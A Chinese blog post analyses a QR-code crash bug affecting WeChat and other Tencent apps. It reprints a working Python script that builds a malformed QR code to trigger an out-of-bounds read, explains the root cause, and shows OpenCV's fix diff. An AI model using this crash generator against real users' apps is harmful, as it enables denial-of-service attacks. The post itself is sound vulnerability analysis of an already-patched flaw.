腾讯系扫码崩溃漏洞

背景

最近在群里看见一张二维码,刚点开图片还没扫码,微信app就崩溃退出了。这引发了我浓厚的兴趣:崩溃退出多半是存在内存错误,如果能在二维码里编码特定的数据,产生可控的越界读写的话,说不定有利用价值。

从微信入手

先看看微信的报错信息:

非常清晰明了,是在libwechatQrMod.so中产生了一个对空指针的解引用造成的崩溃,并且还附上了出错的地址,可以直接在ida中定位相关代码:

正是这一句memcpy出了问题。但是native代码读起来太麻烦了,并且涉及大量数据格式的处理,没有符号表非常难读,于是转变思路。

其他的qrcode库

已知微信识别不了,如果其他库也无法识别,很可能就是二维码库本身的问题。
我先后尝试了多个在线解析二维码的网站,也用python的zbar和opencv尝试识别,都无法从中读取任何信息。那么很可能这个漏洞就是格式解析错误导致的了,但是仅从二维码本身又看不出问题,事情陷入僵局。

开偷

不过就在这时,群里转了另一篇文章,里面附上了生成这种畸形二维码的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]

def tencent_crash_qrcode(message: str, filename='crash.png'):

def hack_put(self, num, length):
if num == 0:
num = 1
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)

data = message.encode('utf-8')
data_len = len(data)

version = 1
while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
version += 1
if version > len(NUM_BLOCKS):
raise Exception('message too long')

data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)

print(data_len, version)
qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)

comm_data = QRData(data, MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

qr.add_data(comm_data, 0)
qr.add_data(hack_data, 0)

original_put = qrcode.util.BitBuffer.put
qrcode.util.BitBuffer.put = hack_put
qr.make_image().save(filename)
qrcode.util.BitBuffer.put = original_put

tencent_crash_qrcode('KFCVW50')

可以看出,问题的关键在于代码在填满qrcode的数据区之后又添加了一个空的QRData,但是又重载了put方法使其长度被写为1,导致解析器认为后续还存在数据段,从而产生越界读。

后续

为了研究这一漏洞是否具有利用价值,我又去读了一下qrcode具体的编码过程。

数据与纠错码会以上图的顺序进行填充,加上掩码和版本信息。数据段后续具体存放的是什么数据依赖于具体的实现,但是并不能像设想的一样将自定义的数据写入任意地址,所以大概也没什么用。

漏洞修复

这篇文章刚写一半,就发现opencv已经把这个漏洞修了,出问题的代码如下:

1
2
3
4
5
-        count = (available + 7 / 8);
+ count = (available + 7) / 8;
}
+ // avoid reading invalid memory region when no data should be processed
+ if (count <= 0) return;

非常明显的低级错误,可惜不是自己发现的。水平还有待提高。

参考材料

https://t.me/TimeAxis/892
https://nano.ac/posts/86257129/
https://zhuanlan.zhihu.com/p/85224424